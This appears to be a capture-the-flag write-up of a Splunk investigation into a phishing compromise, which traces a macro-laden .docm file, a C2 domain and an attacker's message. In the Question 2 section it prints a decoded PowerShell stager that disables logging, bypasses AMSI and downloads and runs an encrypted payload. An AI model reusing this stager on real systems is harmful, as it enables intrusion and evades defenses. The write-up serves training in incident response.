Link: https://splunk.elfu.org/


Santa had asked that I come back after solving challenges 2-5. He’s still in the quad, where he tells me:

Thank you for finding Jane and Michael, our two turtle doves!

I’ve got an uneasy feeling about how they disappeared.

Turtle doves wouldn’t wander off like that.

Someone must have stolen them! Please help us find the thief!

It’s a moral imperative!

I think you should look for an entrance to the steam tunnels and solve Challenge 6 and 7 too!

Gosh, I can’t help but think:

Winds in the East, snow coming in…

Like something is brewing and about to begin!

Can’t put my finger on what lies in store,

But I fear what’s to happen all happened before!

Splunk Challenge Introduction

In the same room as Sparkle Redberry and the laser, I find Professor Banas by the server racks:


Hi, I’m Dr. Banas, professor of Cheerology at Elf University.

This term, I’m teaching “HOL 404: The Search for Holiday Cheer in Popular Culture,” and I’ve had quite a shock!

I was at home enjoying a nice cup of Gløgg when I had a call from Kent, one of my students who interns at the Elf U SOC.

Kent said that my computer has been hacking other computers on campus and that I needed to fix it ASAP!

If I don’t, he will have to report the incident to the boss of the SOC.

Apparently, I can find out more information from this website https://splunk.elfu.org/ with the username: elf / Password: elfsocks.

I don’t know anything about computer security. Can you please help me?

There’s no terminal for this objective, so right on to the ElfU Splunk instance, where I can log in as elf / elfsocks, and I’m presented with a custom chat interface and a list of questions, seven training questions and a challenge question:


Kent directs me to the #ELFU SOC channel, and in there, I see Alice Bluebird offered to send me details over direct message. In DM, she tells me I can skip directly to the challenge question, or I can answer the training questions and get hints.

Splunk Training Questions

Question 1

What is the short host name of Professor Banas’ computer?

The first thing I need to do is get a feel for what’s in this Splunk instance and how it’s organized. I’ll start with | metadata type=sourcetypes to get a feel for the log types / sources:


Since I’m looking for a hostname, I’ll check out the Windows Event Logs. I’ll start big, searching for all of them with sourcetype=wineventlog. In the resulting screen, I can see it found 518 events:


I can also see there’s only one host identified in the data. I’ll look at the first log, part of which was in the previous screencap:


Without having to know much about this log, I can see the username for the Target Subject is cbanas (Professor Banas), and that the computer name is sweetums.elfu.org. That’s a shortname of sweetums, which successfully answers the first question.

Question 2

What is the name of the sensitive file that was likely accessed and copied by the attacker? Please provide the fully qualified location of the file. (Example: C:\temp\report.pdf)

I also get more chat from Alice. Attackers are trying to use Professor Banas to get to Santa’s sensitive data. Alice also gives me an example query to look for information about Process Banas: index=main cbanas. Since santa has the sensitive info, I’ll search for him: index=main santa. I get back 11 logs. The first one contains a PowerShell log:

08/25/2019 09:19:20 AM
TaskCategory=Executing Pipeline
OpCode=To be used when operation is just executing a method
Message=CommandInvocation(Stop-AgentJob): "Stop-AgentJob"
CommandInvocation(Format-List): "Format-List"
CommandInvocation(Out-String): "Out-String"
ParameterBinding(Stop-AgentJob): name="JobName"; value="4VCUDA"
ParameterBinding(Format-List): name="InputObject"; value="C:\Users\cbanas\Documents\Naughty_and_Nice_2019_draft.txt:1:Carl, you know there's no one I trust more than you to help.  Can you have a look at this draft Naughty and Nice list for 2019 and let me know your thoughts? -Santa"
ParameterBinding(Out-String): name="InputObject"; value="Microsoft.PowerShell.Commands.Internal.Format.FormatStartData"
ParameterBinding(Out-String): name="InputObject"; value="Microsoft.PowerShell.Commands.Internal.Format.GroupStartData"
ParameterBinding(Out-String): name="InputObject"; value="Microsoft.PowerShell.Commands.Internal.Format.FormatEntryData"
ParameterBinding(Out-String): name="InputObject"; value="Microsoft.PowerShell.Commands.Internal.Format.GroupEndData"
ParameterBinding(Out-String): name="InputObject"; value="Microsoft.PowerShell.Commands.Internal.Format.FormatEndData"

        Severity = Informational
        Host Name = ConsoleHost
        Host Version = 5.1.17134.858
        Host ID = c44dfd99-a4ba-452c-bf0d-07206a97112b
        Engine Version = 5.1.17134.858
        Runspace ID = f01720e5-d340-460c-9184-31a3fc460a77
        Pipeline ID = 1
        Command Name = Stop-AgentJob
        Command Type = Function
        Script Name = 
        Command Path = 
        Sequence Number = 477
        User = SWEETUMS\cbanas
        Connected User = 
        Shell ID = Microsoft.PowerShell

User Data:


This log contains the name of the sensitive file:


I can see the Context the command is run under as this long, base64-encoded PowerShell command, which is likely the code that downloaded the next stage malware from the attacker and ran it to provide an interactive shell.

Slight tangent, I’ll use CyberChef to decode and beautify with the “From Base64”, “Decode Text” (set to UTF-16LE), and then “Generic Code Beautify” Operations.

IF ($PSVerSioNTaBLe.PSVERsIOn.MAJor  - gE 3)  {
    $GPF = [Ref].ASsEMBly.GETTyPE('System.Management.Automation.Utils')."GEtFiE`Ld"('cachedGroupPolicySettings', 'N' + 'onPublic,Static');
    IF ($GPF)  {
        $GPC = $GPF.GeTVAluE($nUlL);
        If ($GPC['ScriptB' + 'lockLogging'])  {
            $GPC['ScriptB' + 'lockLogging']['EnableScriptB' + 'lockLogging'] = 0;
            $GPC['ScriptB' + 'lockLogging']['EnableScriptBlockInvocationLogging'] = 0

        $val = [COLlEcTioNs.GEneRiC.DICTIoNAry[StrING, SySTEm.ObjecT]]::NeW();
        $vAl.AdD('EnableScriptB' + 'lockLogging', 0);
        $vaL.ADd('EnableScriptBlockInvocationLogging', 0);
        $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB' + 'lockLogging'] = $VAl
    } ElSE {
        [SCrIPTBlOCK]."GEtFIe`lD"('signatures', 'N' + 'onPublic,Static').SETVALUe($NUll, (NEW - OBjEct CollEcTions.GEnerIC.HashSeT[sTrING]))

    [REf].ASSEMBlY.GETTYPe('System.Management.Automation.AmsiUtils')|? {

    |% {
        $_.GETFielD('amsiInitFailed', 'NonPublic,Static').SEtValUe($NUlL, $True)
[SySteM.NeT.SERvicEPoInTMaNaGer]::EXPecT100CONtInUe = 0;
$wc = NEw - ObjECT SysTEM.NeT.WeBCLiENT;
$u = 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$wC.HEADErS.ADd('User-Agent', $u);
$Wc.ProXy = [SySTeM.Net.WeBREQuEST]::DEFaULTWebProXy;
$Script:Proxy = $wc.Proxy;
$K = [SySTEM.Text.EncOdING]::ASCII.GeTBYteS('zd!Pmw3J/qnuWoHX~=g.{>p,GE]:|#MR');
$R = {
    $D, $K = $ARGs;
    $S = 0..255;
    0..255|% {
        $J = ($J + $S[$_] + $K[$_%$K.COUnt])%256;
        $S[$_], $S[$J] = $S[$J], $S[$_]
    $D|% {
        $I = ($I + 1)%256;
        $H = ($H + $S[$I])%256;
        $S[$I], $S[$H] = $S[$H], $S[$I];
        $_ - BXoR$S[($S[$I] + $S[$H])%256]

$ser = '';
$t = '/admin/get.php';
$WC.HEADErs.Add("Cookie", "session=reT9XQAl0EMJnxukEZy/7MS70X4=");
$DATa = $WC.DownlOADDAtA($sEr + $T);
$Iv = $DatA[0..3];
$DatA = $dATa[4..$DatA.lENGtH];
 - JOIN[ChaR[]](& $R $DatA ($IV + $K))|IEX

I can see it’s going to issue a request to and then execute the response with IEX (short for Invoke-Expression).

Question 3

What is the fully-qualified domain name(FQDN) of the command and control(C2) server? (Example: badguy.baddies.com)

Alice has more to say here. She suggests looking into the Sysmon network connection logs, and provides the following:

index=main sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational powershell EventCode=3. This will look through Sysmon logs that are EventCode 3 (Network Event) that also have powershell in them somewhere. On running this, on the left, DestinationHostname is one of the “Interesting Fields”, and there’s only 1:


Clicking on it opens a pop-up which shows the hostname, which matches nicely with the PowerShell I decoded in the previous step:


Entering solves the challenge.

Question 4

What document is involved with launching the malicious PowerShell code? Please provide just the filename. (Example: results.txt)

Alice provides a few more tips that I’ll step through. First, I’ll run index=main sourcetype="WinEventLog:Microsoft-Windows-Powershell/Operational" | reverse to get the PowerShell logs in reverse order so that the oldest are on top. Then I’ll click the timestamp associated with the newest log, and select +/- 5 seconds. With this new timespan set, I’ll change my search to * to get all logs, and find 40 events within 5 seconds of that PowerShell.

I can click on sourcetype on the left to see what kinds of logs are present:


I started with Sysmon process creation events, code 1. I used the following search:

* sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode = "1"
| table ProcessId, process_exec, ParentProcessId, parent_process_exec, CommandLine

This will get the process creation events from Sysmon, and display the process id, name, parent id, parent name, and command line. It finds the malicious PowerShell, and gives a parent of WmiPrvSE.exe:

malicious processClick for full size image

It doesn’t give me much information about the parent though. I decided to look at the event logs. I opened the time window to one minute leading up to the PowerShell running. I then issued the following query:

* sourcetype="WinEventLog" EventCode=4688 
| eval pid=tonumber(New_Process_ID,16) 
| eval ppid=tonumber(Creator_Process_ID,16) 
| table _time, pid, New_Process_Name, ppid, Creator_Process_Name, Process_Command_Line 
| sort _time

It starts with event logs for process creation, and then adds two fields, pid and ppid, which are the int versions of the process id and parent process id. Then I’ll create a table of output with the timestamp, pid, process name, parent pid, parent process name, and command line, and make sure it’s sorted by time:

table of processes and parentsClick for full size image

At the very end, I see PowerShell start (7) and then it starts a conhost instance (6). Lines 1, 3, and 4 seem to have to do with the opening of a document in Word. Looking at the command line from the first line, I see the filename:

C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Windows\Temp\Temp1_Buttercups_HOL404_assignment (002).zip\19th Century Holiday Cheer Assignment.docm" /o "

It’s a .docm file, which is a Word doc with macros enabled. That’s very suspicious. I’ll submit the filename 19th Century Holiday Cheer Assignment.docm and it’s correct.

Question 5

How many unique email addresses were used to send Holiday Cheer essays to Professor Banas? Please provide the numeric value. (Example: 1)

Alice talks about stoQ, and gives an example query for how to use it:

index=main sourcetype=stoq 
| table _time results{}.workers.smtp.to results{}.workers.smtp.from  results{}.workers.smtp.subject results{}.workers.smtp.body 
| sort - _time

This query shows how to walk the nested json:

stoQ emailsClick for full size image

I’ll modify it to get what I need (the query didn’t need to be this complex, but I took capitalization into account):

index=main sourcetype=stoq results{}.workers.smtp.subject="Holiday Cheer Assignment Submission" 
| spath output=from_address path=results{}.workers.smtp.from 
| eval from_address_lower=lower(from_address) 
| stats count by from_address_lower 
| stats count

This query takes the data and searches for emails with the subject line required for the submission. Then it creates a field, from_address which is the list of from addresses, and then creates from_address_lower to ensure there are no duplicates. Finally, I’ll use the Splunk stats count to get the count for each sending address, and then the stats count again to get the number of lines returned.

It returns 21:


I can submit that and it’s correct.

If I remove the last stats count, I can see the list of email addresses, each submitting once:


Question 6

What was the password for the zip archive that contained the suspicious file?

Since I know I’m looking for a .docm file, I’ll start with that. Searching for index=main sourcetype=stoq docm returns only one result. I’ll add a table to get the interesting information:

index=main sourcetype=stoq docm 
| table results{}.workers.smtp.from results{}.workers.smtp.to results{}.workers.smtp.body

email contentClick for full size image

In the body text, I see the password 123456789, which is the correct answer.

Question 7

What email address did the suspicious file come from?

I’ve already got the answer to this from the query above, bradly.buttercups@eifu.org. On submitting, I’ve got the training questions complete:


Splunk Challenge Question


What was the message for Kent that the adversary embedded in this attack?

Alice gives me some more hints:

  1. Work with this archive of files.
  2. Start with the stoQ even from the last challenge question, the email from Bradly Buttercups.
  3. Use the results->payload_meta->extra_data->filename field to find the document I’m looking for, and then use results->archivers->filedir->path to find the path of that file in the archive.
  4. She provides a Splunk command to generate a table of filenames and filepaths from a stoQ log.
  5. Modern word docs are just a bunch of xml files. She doesn’t say this, but in fact, a modern Word doc is just a zip file containing a bunch of mostly xml files.


I can paste in the given Splunk query and get the list of files pulled out of this email:

file locationsClick for full size image

That may look like a lot of files, but really, it’s mostly the files from within the Word document. The first line is the email itself. The next is the attached password-protected zip. Then the .docm file from inside the zip. The rest of the files are what make up the document.

Despite the fact that Alice warned against downloading malware, I’m comfortable playing with the document in my sandboxed Linux VM. Given the table above, I’ll download it. But the Holiday Hack team didn’t want to actually distribute malware:

$ file 19th\ Century\ Holiday\ Cheer\ Assignment.docm
19th Century Holiday Cheer Assignment.docm: ASCII text, with very long lines
$ cat 19th\ Century\ Holiday\ Cheer\ Assignment.docm 
Cleaned for your safety. Happy Holidays!

In the real world, This would have been a wonderful artifact for you to investigate, but it had malware in it of course so it's not posted here. Fear not! The core.xml file that was a component of this original macro-enabled Word doc is still in this File Archive thanks to stoQ. Find it and you will be a happy elf :-)

Given the hint, I’ll pull core.xml and check it out:

$ cat core.xml | xmllint --format -
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <dc:title>Holiday Cheer Assignment</dc:title>
  <dc:subject>19th Century Cheer</dc:subject>
  <dc:creator>Bradly Buttercups</dc:creator>
  <dc:description>Kent you are so unfair. And we were going to make you the king of the Winter Carnival.</dc:description>
  <cp:lastModifiedBy>Tim Edwards</cp:lastModifiedBy>
  <dcterms:created xsi:type="dcterms:W3CDTF">2019-11-19T14:54:00Z</dcterms:created>
  <dcterms:modified xsi:type="dcterms:W3CDTF">2019-11-19T17:50:00Z</dcterms:modified>

The description field has the message:

Kent you are so unfair. And we were going to make you the king of the Winter Carnival.

Entering that into the Splunk console solves the challenge, and into my badge solves the objective.

Extra - Splunk Table Breakdown

The command given by Alice to generate the file table is as follows:

index=main sourcetype=stoq  "results{}.workers.smtp.from"="bradly buttercups <bradly.buttercups@eifu.org>" 
| eval results = spath(_raw, "results{}") 
| mvexpand results
| eval path=spath(results, "archivers.filedir.path"), filename=spath(results, "payload_meta.extra_data.filename"), fullpath=path."/".filename 
| search fullpath!="" 
| table filename,fullpath

Looking at that line by line:

  1. Gets the stoQ log for the malicious email.
  2. Create a value results which is all the results from the passed in log. This will be one single row with all the results.
  3. mvexpand will expand that single row into a row for each result.
  4. Use eval to create path, filename, and fullpath with spath.
  5. Remove any rows where fullpath is empty.
  6. Show filename and fullpath.

I don’t really understand why they create fullpath. The archive is set up such that the actual downloadable file is at path.


Alice says she’ll put in a good word for me with the Boss of the SOC. And Professor Banas is grateful:

Oh, thanks so much for your help! Sorry I was freaking out.

I’ve got to talk to Kent about using my email again…

…and picking up my dry cleaning.